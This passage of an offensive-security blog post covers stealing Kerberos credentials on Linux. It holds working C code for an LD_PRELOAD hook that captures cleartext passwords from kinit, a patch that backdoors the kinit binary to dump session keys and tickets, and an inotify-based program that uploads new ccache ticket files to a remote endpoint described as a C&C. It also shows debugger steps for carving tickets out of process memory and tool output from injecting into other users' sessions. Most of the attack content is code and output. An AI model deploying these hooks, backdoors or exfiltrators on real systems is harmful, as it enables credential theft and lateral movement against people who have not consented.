We can check kinit to locate what functions are susceptible to contain such information:

➜  working$ ltrace kinit [email protected]
setlocale(LC_ALL, "")                                                                                                                                                      = "en_US.UTF-8"
strrchr("kinit", '/')                                                                                                                                                      = nil
fileno(0x7fd428706a00)                                                                                                                                                     = 0
isatty(0)                                                                                                                                                                  = 1
fileno(0x7fd428707760)                                                                                                                                                     = 1
isatty(1)                                                                                                                                                                  = 1
fileno(0x7fd428707680)                                                                                                                                                     = 2
isatty(2)                                                                                                                                                                  = 1
set_com_err_hook(0x564277f1d4b0, 0, 0, 0)                                                                                                                                  = 0x7fd42870db30
getopt_long(2, 0x7ffd392b9318, "r:fpFPn54aAVl:s:c:kit:T:RS:vX:CE"..., 0x7ffd392b9090, nil)                                                                                 = -1
krb5_init_context(0x7ffd392b8f50, 0, 1, 0)                                                                                                                                 = 0
krb5_cc_default(0x5642792154a0, 0x7ffd392b8f30, 1, 0)                                                                                                                      = 0
krb5_cc_get_type(0x5642792154a0, 0x5642792156c0, 0x7fd428bdea40, 0)                                                                                                        = 0x7fd4289bf254
krb5_cc_get_principal(0x5642792154a0, 0x5642792156c0, 0x7ffd392b8f38, 0)                                                                                                   = 0
krb5_parse_name_flags(0x5642792154a0, 0x7ffd392bb329, 0, 0x7ffd392b8f68)                                                                                                   = 0
krb5_cc_support_switch(0x5642792154a0, 0x7fd4289bf254, 0x7ffd392bb344, 13)                                                                                                 = 0
krb5_unparse_name(0x5642792154a0, 0x564279216d70, 0x7ffd392b8f70, 0)                                                                                                       = 0
krb5_free_principal(0x5642792154a0, 0x564279216ce0, 0, 0)                                                                                                                  = 0
krb5_get_init_creds_opt_alloc(0x5642792154a0, 0x7ffd392b8f40, 0x564279214010, 0)                                                                                           = 0
krb5_get_init_creds_opt_set_out_ccache(0x5642792154a0, 0x564279216e30, 0x5642792156c0, 0x564279216e80)                                                                     = 0
krb5_get_init_creds_password(0x5642792154a0, 0x7ffd392b8f80, 0x564279216d70, 0 <unfinished ...>
krb5_get_prompt_types(0x5642792154a0, 0x7ffd392b8f30, 0, 0)                                                                                                                = 0x7ffd392b6ec4
krb5_prompter_posix(0x5642792154a0, 0x7ffd392b8f30, 0, 0Password for [email protected]: 
)                                                                                                                  = 0
<... krb5_get_init_creds_password resumed> )                                                                                                                               = 0
kadm5_destroy(0, 0, 0, 3)                                                                                                                                                  = 0x29c251f
krb5_get_init_creds_opt_free(0x5642792154a0, 0x564279216e30, 0, 3)                                                                                                         = 0
krb5_free_cred_contents(0x5642792154a0, 0x7ffd392b8f80, 0x564279214010, 3)                                                                                                 = 0
krb5_free_unparsed_name(0x5642792154a0, 0x564279216e00, 0x7fd428706ca0, 464)                                                                                               = 0
krb5_free_principal(0x5642792154a0, 0x564279216d70, 0x56427921c3d0, 1)                                                                                                     = 0
krb5_cc_close(0x5642792154a0, 0x5642792156c0, 0x564279216df0, 1)                                                                                                           = 0
krb5_free_context(0x5642792154a0, 0, 0x564279215c10, 0)                                                                                                                    = 0
+++ exited (status 0) +++

The functions krb5_get_init_creds_password and krb5_prompter_posix look interesting. The first is defined as:

krb5_error_code KRB5_CALLCONV
krb5_get_init_creds_password(krb5_context context,
                             krb5_creds *creds,
                             krb5_principal client,
                             const char *password,
                             krb5_prompter_fct prompter,
                             void *data,
                             krb5_deltat start_time,
                             const char *in_tkt_service,
                             krb5_get_init_creds_opt *options)

As we can see this function has an argument “password” that is a pointer to a string, but as the documentation states this value can be null (in which case a prompt is called, like is doing in kinit). This function also uses a pointer to a krb5_creds struct that is defined as:

typedef struct _krb5_creds {
    krb5_magic magic;
    krb5_principal client;              /**< client's principal identifier */
    krb5_principal server;              /**< server's principal identifier */
    krb5_keyblock keyblock;             /**< session encryption key info */
    krb5_ticket_times times;            /**< lifetime info */
    krb5_boolean is_skey;               /**< true if ticket is encrypted in
                                           another ticket's skey */
    krb5_flags ticket_flags;            /**< flags in ticket */
    krb5_address **addresses;           /**< addrs in ticket */
    krb5_data ticket;                   /**< ticket string itself */
    krb5_data second_ticket;            /**< second ticket, if related to
                                           ticket (via DUPLICATE-SKEY or
                                           ENC-TKT-IN-SKEY) */
    krb5_authdata **authdata;           /**< authorization data */
} krb5_creds;

So we can get the username and (if set) the password used to authenticate. If the password is not provided, we need to check how the prompt is used. The function krb5_prompter_posix is defined as:

krb5_error_code KRB5_CALLCONV
krb5_prompter_posix(
    krb5_context        context,
    void                *data,
    const char          *name,
    const char          *banner,
    int                 num_prompts,
    krb5_prompt         prompts[])

The source code is easy to understand:

    int         fd, i, scratchchar;
    FILE        *fp;
    char        *retp;
    krb5_error_code     errcode;
    struct termios saveparm;
    osiginfo osigint;

    errcode = KRB5_LIBOS_CANTREADPWD;

    if (name) {
        fputs(name, stdout);
        fputs("\n", stdout);
    }
    if (banner) {
        fputs(banner, stdout);
        fputs("\n", stdout);
    }

    /*
     * Get a non-buffered stream on stdin.
     */
    fp = NULL;
    fd = dup(STDIN_FILENO);
    if (fd < 0)
        return KRB5_LIBOS_CANTREADPWD;
    set_cloexec_fd(fd);
    fp = fdopen(fd, "r");
    if (fp == NULL)
        goto cleanup;
    if (setvbuf(fp, NULL, _IONBF, 0))
        goto cleanup;

    for (i = 0; i < num_prompts; i++) {
        errcode = KRB5_LIBOS_CANTREADPWD;
        /* fgets() takes int, but krb5_data.length is unsigned. */
        if (prompts[i].reply->length > INT_MAX)
            goto cleanup;

        errcode = setup_tty(fp, prompts[i].hidden, &saveparm, &osigint);
        if (errcode)
            break;

        /* put out the prompt */
        (void)fputs(prompts[i].prompt, stdout);
        (void)fputs(": ", stdout);
        (void)fflush(stdout);
        (void)memset(prompts[i].reply->data, 0, prompts[i].reply->length);

        got_int = 0;
        retp = fgets(prompts[i].reply->data, (int)prompts[i].reply->length,
                     fp);
        if (prompts[i].hidden)
            putchar('\n');
        if (retp == NULL) {
            if (got_int)
                errcode = KRB5_LIBOS_PWDINTR;
            else
                errcode = KRB5_LIBOS_CANTREADPWD;
            restore_tty(fp, &saveparm, &osigint);
            break;
        }

        /* replace newline with null */
        retp = strchr(prompts[i].reply->data, '\n');
        if (retp != NULL)
            *retp = '\0';
        else {
            /* flush rest of input line */
            do {
                scratchchar = getc(fp);
            } while (scratchchar != EOF && scratchchar != '\n');
        }

        errcode = restore_tty(fp, &saveparm, &osigint);
        if (errcode)
            break;
        prompts[i].reply->length = strlen(prompts[i].reply->data);
    }
cleanup:
    if (fp != NULL)
        fclose(fp);
    else if (fd >= 0)
        close(fd);

    return errcode;
}

As we can see this function receives an array of prompts and then use fgets() to read data from a duped STDIN to store the password in a krb5_data field inside krb5_prompt structure. So we only need to hook this function too and check those structures to get the cleartext password.

Finally our hook is:

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <krb5/krb5.h>

typedef  krb5_error_code (*orig_ftype)(krb5_context context, krb5_creds * creds, krb5_principal client, const char * password, krb5_prompter_fct prompter, void * data, krb5_deltat start_time, const char * in_tkt_service, krb5_get_init_creds_opt * k5_gic_options);
typedef krb5_error_code KRB5_CALLCONV (*orig_ftype_2)(krb5_context context, void *data, const char *name, const char *banner, int num_prompts, krb5_prompt prompts[]);

krb5_error_code krb5_get_init_creds_password(krb5_context context, krb5_creds * creds, krb5_principal client, const char * password, krb5_prompter_fct prompter, void * data, krb5_deltat start_time, const char * in_tkt_service, krb5_get_init_creds_opt * k5_gic_options) {
    krb5_error_code retval;
    orig_ftype orig_krb5;
    orig_krb5 = (orig_ftype)dlsym(RTLD_NEXT, "krb5_get_init_creds_password");
    if (password != NULL) {
        printf("[+] Password %s\n", password);
    }
    retval = orig_krb5(context, creds, client, password, prompter, data, start_time, in_tkt_service, k5_gic_options);
    if (retval == 0) {
    	printf("[+] Username: %s\n", creds->client->data->data);
    }
    return retval;
}


krb5_error_code KRB5_CALLCONV krb5_prompter_posix(krb5_context context, void *data, const char *name, const char *banner, int num_prompts, krb5_prompt prompts[]) {
    krb5_error_code retval;
    orig_ftype_2 orig_krb5;
    orig_krb5 = (orig_ftype_2)dlsym(RTLD_NEXT, "krb5_prompter_posix");
    retval = orig_krb5(context, data, name, banner, num_prompts,prompts);
    for (int i = 0; i < num_prompts; i++) {
        if ((int)prompts[i].reply->length > 0) {
            printf("[+] Password: %s\n", prompts[i].reply->data);
        }
    }
    return retval;
}

Let’s check it:

➜  working$ LD_PRELOAD=/home/vagrant/working/hook_preload.so kinit [email protected]
Password for [email protected]: 
[+] Password: MightyPassword.69
[+] Username: Administrador

The art of hooking (II): binary patching

Another option can be to sustitute a target binary (or a lib) with one backdoored by us. This can be done throught the compilation of a modified version or patching the original. In our case we are going to patch a binary (kinit, for example) with a simple hook using the project GLORYhook that uses LIEF, Capstone and Keystone under the hood to simplify the process.

To not repeat the same hook this time we are going to patch kinit so it now will print the keyblock and ticket data after a succesfull authentication:

 #define _GNU_SOURCE
 #include <stdio.h>
 #include <krb5/krb5.h>
 #include <string.h>
 
 krb5_error_code gloryhook_krb5_get_init_creds_password(krb5_context context, krb5_creds * creds, krb5_principal client, const char * password, krb5_prompter_fct prompter, void * data, krb5_deltat start_time, const char * in_tkt_service, krb5_get_init_creds_opt *              k5_gic_options) {
     krb5_error_code retval;
 
     retval = krb5_get_init_creds_password(context, creds, client, password, prompter, data, start_time, in_tkt_service, k5_gic_options);
     if (retval == 0){
         printf("[+] Keyblock (%08jx):\n", (uintmax_t)creds->keyblock.enctype);
         for (int i = 0; i < creds->keyblock.length; i++) {
             printf("%02X", (unsigned char)creds->keyblock.contents[i]);
         }
         printf("\n[+] Ticket:\n");
         for (int i = 0; i < creds->ticket.length; i++) {
             printf("%02X", (unsigned char)creds->ticket.data[i]);
         }
     }
     return retval;
 }

Just compile it using the instructions provided by GLORYhook in its readme and test it:

➜  working$ gcc -shared -zrelro -znow -fPIC hook-patch.c -o hook_patch.so
➜  working$ python3 GLORYHook/glory.py /usr/bin/kinit ./hook_patch.so  -o ./kinit-backdoored
[+] Beginning merge!
[+] Injecting new PLT
[+] Extending GOT for new PLT
[+] Fixing injected PLT
[+] Injecting PLT relocations
[+] Done!
➜  working$ ./kinit-backdoored [email protected]                                  
Password for [email protected]: 
[+] Keyblock (00000012):
E8B9D14EDC610C496A2B0426DDDACFA9AA52501A5998A1F1AF44644FF7F117DC
[+] Ticket:
6182046F3082046BA003020105A10F1B0D4143554152494F2E4C4F43414CA2223020A003020102A11930171B066B72627467741B0D4143554152494F2E4C4F43414CA382042D30820429A003020112A103020102A282041B0482041736B5A6CD1C6341E2145C93715ACAED71B1226D277B441D0731D830B819BEB2CC7DCE596C07176095C94E311BA05D45BDD951503FF5B2C8A6601EF39AA9316C2D0EAAD279279F1C5EB82BD133B637E98E4E672F08E047A0DD4D72612D9349F90E62753DBB8054860D82E7FE023694A175923236E84D55F047FF25AB6C801B4A14BA0526BF14C15015EE15EB723C783170820335A7272E54279CA17E3C4C8AB6079BED4FC0D8238FAD3B1D0F9FAB0B0AEC7603010F056F8F2B9F96B6BC03A5B3918382646078F62017EC0D11C05EDDCE01F77A88458D9EA476CF8E002BEE4F3886C0294344D8AC0840151AECC7090223240F6E3C4287320F840ACEA4C61FF7BA02E01EF4E6D203C13DEA9BFF9FE9A9F60F918A70FB9202C6C9EA5098735CAD0D7FA089C5F6EF87470413F3BF939FBC57060A341D0640E17F4106B5CAF46BC1DBB418D5B083B885D9A146A54C455F5D8E929889092FE4E2636CBC6CBD8CA599617D478D0194904FFAC35E4663FF6BB551E558D21E137BEE5600DCBBCE939B5A09DC3301FBB234AFF83985DF819B9C105FF18564E5C5B94DDE9DE690FAA3E0A21392ABCAD17F9A6975898BD59D743FA715001ABDD1321BFA4F70B4997B7BCA573EBAD3D5F57DC35429D4B1CEB2F7577352385C8DAA19326CA240A7AB4F1230C22CC14581BF66C52565F26835D24CB63FCC6535590C4C06C01EF325B8DE8C77D5DF82309F13C2080C599A2C69889A1E743EEFC4A5119B1EE418DE3748A2CAF75C50EA7E9E966DD40088C6C85EE8BB24859C032AB417EBEA08FD79506EFC6B34B1E8D57979D9D4EBC9822A50C23D0C71D188DB3DEFC5CFC49D422488D4AA4E90865601B51A9752957BECDF2AA5C41B0FD8F6F27EEAF5CB8E09F2453025B5FDF05EF9D693E91EE5C9D62E93097EBDBAC498F9D7E7F1A0FA54B7C2D3F7925C0A0AD48E792FFF833981793880F9A0A87CF0D8758BF73E5BAD095F95673172BF8DBCFE89F7B806BC3DC976CB7DA360DF1058B962E8E8B71A1D1DB903EC53DE343EA787C234DB239FB2758E7E70C13CA08CED1F9AD3D4228BCC54D098899C8E20A4EC494996572EC510AF2C88A9B1718EA4FA74C91F1789433151AAD3C99AD4BB1E57E41A7C40595D073E9E417383E2CB98D2886A643DE5A54270137D84DD510C6ED687D47462E9E03E559A0D5CFD44855308EE6A32F096A1FF04FBBE556945E667D7F3E3EC8ED6D30CD7BCE6A617ADDA5216D296E6F627D8EFDDECF392872E081020D7255D6AE604BD76A281CE1D7B38BA39F5C6D6C9317F4B1E01D56C90D4D0EA5425BD8C7A3391EB682B087C6A4FA9A586515338322D27A396F65E69681DD2A4E4EA73B163A756A709232F4C6C56515E06AD4CC4F96B391F848DBAB73810AC3AC10D8FD7ACCA32A8D68F7DC2CF01A285E78F2F770CD322A2EF790A5A69EC91786D5180BFF1B76E6112BA008EFF0B7D7F2C01217AB57EE37D0BB082%     

Playing with the ccache (I): files

The most common way to save kerberos tickets in linux environments is with ccache files. The ccache files by default are in /tmp with a format name like krb5cc_%UID% and they can be used directly by the majority of tools based in the Impacket Framework, so we can read the file contents to move laterally (or even to escalate privileges if we are lucky enough to get a TGT from a privileged user) and execute commands via psexec.py/smbexec.py/etc. But if no valid tickets are found (they have a lifetime relatively short) we can wait and set an inotify watcher to detect every new generated ticket and forward them to our C&C via https/dns/any-covert-channel.

// Example based on https://www.lynxbee.com/c-program-to-monitor-and-notify-changes-in-a-directory-file-using-inotify/
// Originally this code was posted by our owl @TheXC3LL at his own blog (https://x-c3ll.github.io/posts/rethinking-inotify/)
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <limits.h>
#include <unistd.h>
#include <fcntl.h>
#include <curl/curl.h>

#define MAX_EVENTS 1024 /*Max. number of events to process at one go*/
#define LEN_NAME 1024 /*Assuming length of the filename won't exceed 16 bytes*/
#define EVENT_SIZE  ( sizeof (struct inotify_event)  ) /*size of one event*/
#define BUF_LEN     ( MAX_EVENTS * ( EVENT_SIZE + LEN_NAME  ) ) /*buffer to store the data of events*/

#define endpoint "http://localhost:4444"

int exfiltrate(char* filename) {
    CURL *curl;
    CURLcode res;
    struct stat file_info;
    FILE *fd;

    fd = fopen(filename, "rb");
    if(!fd){
        return -1;
    }
    if(fstat(fileno(fd), &file_info) != 0) {
        return -1;
    }
    curl = curl_easy_init();
    if (curl){
        curl_easy_setopt(curl, CURLOPT_URL, endpoint);
        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
        curl_easy_setopt(curl, CURLOPT_READDATA, fd);
        res = curl_easy_perform(curl);
        if (res != CURLE_OK) {
            return -1;
        }
        curl_easy_cleanup(curl);
    }       
    fclose(fd);
    return 0;
}

int main(int argc, char **argv){
    int length, i= 0, wd;
    int fd; 
    char buffer[BUF_LEN];
    char *ticketloc = NULL;

    printf("[Kerberos ccache exfiltrator PoC]\n\n");
   
    //Initiate inotify
    if ((fd = inotify_init()) < 0) {
        printf("Could not initiate inotify!!\n");
        return -1;
    }

    //Add a watcher for the creation or modification of files at /tmp folder
    if ((wd = inotify_add_watch(fd, "/tmp", IN_CREATE | IN_MODIFY)) == -1) {
        printf("Could not add a watcher!!\n");
        return -2;
    }

    //Main loop 
    while(1) {
        i = 0;
        length = read(fd, buffer, BUF_LEN);
        if (length < 0) {
            return -3;
        }

        while (i < length) {
            struct inotify_event *event = (struct inotify_event *)&buffer[i];
            if (event->len) {
                    //Check for prefix
                    if (strncmp(event->name, "krb5cc_", strlen("krb5cc_")) == 0){
                        printf("New cache file found! (%s)", event->name);
                        asprintf(&ticketloc, "/tmp/%s",event->name);
                        //Forward it to us
                        if (exfiltrate(ticketloc) != 0) {
                            printf(" - Failed!\n");
                        }
                        else {
                            printf(" - Exfiltrated!\n");
                        }
                        free(ticketloc);
                    }
                i += EVENT_SIZE + event->len;
            }
        }
    }

}

Playing with the ccache (II): memory dumps

If the ticket is only cached by the process (because no other process needs to access to it) it is posible to retrieve it from a memory dump. In the paper that we mentioned earlier (Kerberos Credential Thievery (GNU/Linux)) they follow an approach based on scanning the dumped memory by an sliding window with the size of the keyblock and ticket and then calculate the entropy of those frames to find plausible candidates. With the candidates a ccache file is recreated and tried until all posibilities are emptied.

In our humble opinion this method is a bit overkill and convoluted. A far more simple technique can be to scan the dumped memory to find a pattern inside the krb5_creds structure and then locate the pointers to the keyblock and ticket, extract them and create a ccache file. Let’s explain it.

As we said before a krb5_creds structure has this definition:

typedef struct _krb5_creds {
    krb5_magic magic;
    krb5_principal client;              /**< client's principal identifier */
    krb5_principal server;              /**< server's principal identifier */
    krb5_keyblock keyblock;             /**< session encryption key info */
    krb5_ticket_times times;            /**< lifetime info */
    krb5_boolean is_skey;               /**< true if ticket is encrypted in
                                           another ticket's skey */
    krb5_flags ticket_flags;            /**< flags in ticket */
    krb5_address **addresses;           /**< addrs in ticket */
    krb5_data ticket;                   /**< ticket string itself */
    krb5_data second_ticket;            /**< second ticket, if related to
                                           ticket (via DUPLICATE-SKEY or
                                           ENC-TKT-IN-SKEY) */
    krb5_authdata **authdata;           /**< authorization data */
} krb5_creds;

And krb5_keyblock is defined as:

typedef struct _krb5_keyblock {
    krb5_magic magic;
    krb5_enctype enctype;
    unsigned int length;
    krb5_octet *contents;
} krb5_keyblock;

If everything is ok the magic value will be zero, and the enctype is a known value based on the encryption used (for example, 0x17 is rc4-hmac, 0x12 is aes256-sha1, etc.) so only a small subset of values are valid (indeed you can find all here, there are less than 20) and the keyblock size is fixed (it will be only a well-known value like 32 bytes). If we translate this structure to the memory layout we are going to have a structure that starts with 00000000 XX000000 YY00000000000000, being XX the enctype and YY the length. So, for example, if we request a ticket with aes256-sha1 our krb5_keyblock structure will start with 00000000120000002000000000000000. And this is a pattern that we can use as reference :)

pwndbg> search -x "00000000120000002000000000000000"
[stack]         0x7fffffffdb78 0x1200000000

Here is the beginning of our krb5_block (that is inside the krb5_creds). So, at this address plus 16 bytes, is the pointer to the keyblock contents (krb5_octet *contents):

pwndbg> x/1g 0x7fffffffdb78+16
0x7fffffffdb88: 0x000055555956f3e0

So now we can retrieve the the keyblock content:

pwndbg> x/4g 0x000055555956f3e0
0x55555956f3e0: 0x77a5e74f160548a7      0x49980e2202bb7c46
0x55555956f3f0: 0x6e2d067a19e01e0d      0x79a3a2f8503cd0d0

If we recall the krb5_creds uses a krb5_data structure to hold the ticket information (magic, length and pointer to the ticket itself). This pointer to the ticket data is at our pattern plus 64 bytes:

pwndbg> x/1g 0x7fffffffdb78+64
0x7fffffffdbb8: 0x000055555956ea00

And finally our desired ticket:

pwndbg> x/100x 0x000055555956ea00
0x55555956ea00: 0x61    0x82    0x04    0x6f    0x30    0x82    0x04    0x6b
0x55555956ea08: 0xa0    0x03    0x02    0x01    0x05    0xa1    0x0f    0x1b
0x55555956ea10: 0x0d    0x41    0x43    0x55    0x41    0x52    0x49    0x4f
0x55555956ea18: 0x2e    0x4c    0x4f    0x43    0x41    0x4c    0xa2    0x22
0x55555956ea20: 0x30    0x20    0xa0    0x03    0x02    0x01    0x02    0xa1
0x55555956ea28: 0x19    0x30    0x17    0x1b    0x06    0x6b    0x72    0x62
0x55555956ea30: 0x74    0x67    0x74    0x1b    0x0d    0x41    0x43    0x55
...

The size is located just before the pointer, so you can retrieve it to know how much memory to dump.

Playing with the ccache (III): kernel keyrings

Programs can use in-kernel storage inside keyrings because it offers far more proteccion than the storage via ccache files. This kind of storage has the advantage that only the user can acces to this information via keyctl. To thief those juicy tickets we can inject a small stub of code inside processes owned by each user in the compromised machine, and this code will ask the tickets. Easy peasy!

Our friend @Zer1t0 developed a tool called Tickey that does all this job for us:

  working# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in vagrant[1000] session...
[+] Successful injection at process 15547 of vagrant[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in pelagia[1120601337] session...
[+] Successful injection at process 58779 of pelagia[1120601337],look for tickets in /tmp/__krb_1120601337.ccache
[*] Trying to inject in aurelia[1120601122] session...
[+] Successful injection at process 15540 of aurelia[1120601122],look for tickets in /tmp/__krb_1120601122.ccache
[X] [uid:0] Error retrieving tickets

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

❌
❌